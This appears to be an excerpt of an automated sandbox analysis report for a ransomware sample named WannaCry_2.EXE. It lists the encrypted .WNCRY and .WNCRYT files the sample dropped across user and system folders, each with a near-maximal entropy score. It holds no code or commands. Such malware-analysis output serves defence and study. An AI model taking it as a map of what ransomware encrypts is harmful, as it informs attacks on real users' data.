            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRYT entropy: 7.99786862827Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT entropy: 7.99547941422Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT entropy: 7.99358265733Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRYT entropy: 7.99998172112Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT entropy: 7.99855139033Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT entropy: 7.9957254928Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.WNCRYT entropy: 7.99357100081Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT entropy: 7.99771673854Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.99973282051Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRYT entropy: 7.9988084607Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRY (copy) entropy: 7.99938330998Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy) entropy: 7.9996186358Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\acroNGLLog.txt.WNCRY (copy) entropy: 7.99357100081Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRY (copy) entropy: 7.99771673854Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy) entropy: 7.99973282051Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy) entropy: 7.9988084607Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRY (copy) entropy: 7.99838018207Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRY (copy) entropy: 7.99841379748Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670572901062730.txt.WNCRY (copy) entropy: 7.99835979529Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573200963839.txt.WNCRY (copy) entropy: 7.99834486559Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRY (copy) entropy: 7.99986852516Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRY (copy) entropy: 7.99953769714Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRY (copy) entropy: 7.99916425913Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRY (copy) entropy: 7.99565628894Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2ba3710e-bf6a-46ef-97ed-2efbb606e519}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99524574722Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99533445436Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c7a88677-8220-45ae-8b75-3e4ab11a6127}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99456911503Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRY (copy) entropy: 7.99965139689Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRY (copy) entropy: 7.99856196947Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99917561682Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99915276593Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRY (copy) entropy: 7.99179820112Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Temp\80.WNCRYT (copy) entropy: 7.99936049417Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573500972363.txt.WNCRY (copy) entropy: 7.99824658014Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4d2e6c03-f928-4873-b576-0d6ef01dade1}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99500003604Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Users\user\AppData\Local\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573801262804.txt.WNCRY (copy) entropy: 7.99857717813Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\EventStore.db.WNCRY (copy) entropy: 7.99828574008Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\guest.bmp.WNCRY (copy) entropy: 7.99968212002Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user.bmp.WNCRY (copy) entropy: 7.99968643479Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRY (copy) entropy: 7.99966175336Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRY (copy) entropy: 7.99490715243Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRY (copy) entropy: 7.99372596882Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRY (copy) entropy: 7.998858371Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRY (copy) entropy: 7.9999893887Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRY (copy) entropy: 7.99900248421Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRY (copy) entropy: 7.99786862827Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRY (copy) entropy: 7.99547941422Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRY (copy) entropy: 7.99358265733Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRY (copy) entropy: 7.99998172112Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRY (copy) entropy: 7.99855139033Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRY (copy) entropy: 7.9957254928Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRY (copy) entropy: 7.99852818991Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRY (copy) entropy: 7.99423786716Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRY (copy) entropy: 7.99925724678Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRY (copy) entropy: 7.99937496677Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRY (copy) entropy: 7.9993861641Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRY (copy) entropy: 7.99975902129Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRY (copy) entropy: 7.99989292947Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRY (copy) entropy: 7.9995988813Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRY (copy) entropy: 7.99988493876Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\user.bmp.WNCRY (copy) entropy: 7.99973117138Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\jones.bmp.WNCRY (copy) entropy: 7.99967276303Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\excel.exe.db.WNCRY (copy) entropy: 7.99253380239Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRY (copy) entropy: 7.99983831755Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\first_party_sets.db.WNCRY (copy) entropy: 7.99617708007Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases\Databases.db.WNCRY (copy) entropy: 7.99402457387Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRY (copy) entropy: 7.99153931087Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRY (copy) entropy: 7.99231889014Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\officesetup.exe.db.WNCRY (copy) entropy: 7.99154769211Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_16.db.WNCRY (copy) entropy: 7.99983265094Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_256.db.WNCRY (copy) entropy: 7.99994984323Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_32.db.WNCRY (copy) entropy: 7.99990645738Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_48.db.WNCRY (copy) entropy: 7.99982478323Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRY (copy) entropy: 7.99667225364Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRY (copy) entropy: 7.99980236011Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRY (copy) entropy: 7.99979758511Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRY (copy) entropy: 7.99980954405Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRY (copy) entropy: 7.99981076356Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRY (copy) entropy: 7.99995103787Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRY (copy) entropy: 7.99717928489Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Notifications\wpndatabase.db.WNCRY (copy) entropy: 7.99981120415Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\18e190413af045db88dfbd29609eb877.db.WNCRY (copy) entropy: 7.99350021239Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRY (copy) entropy: 7.99557760155Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRY (copy) entropy: 7.99989300849Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRY (copy) entropy: 7.99981698632Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRY (copy) entropy: 7.99996670991Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRY (copy) entropy: 7.99944843086Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRY (copy) entropy: 7.99990468527Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRY (copy) entropy: 7.9919911971Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRY (copy) entropy: 7.99984680736Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRY (copy) entropy: 7.99980945831Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRY (copy) entropy: 7.99980433931Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRY (copy) entropy: 7.99796552975Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRY (copy) entropy: 7.99296514252Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRY (copy) entropy: 7.99987320722Jump to dropped file
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRY (copy) entropy: 7.99993516154Jump to dropped file
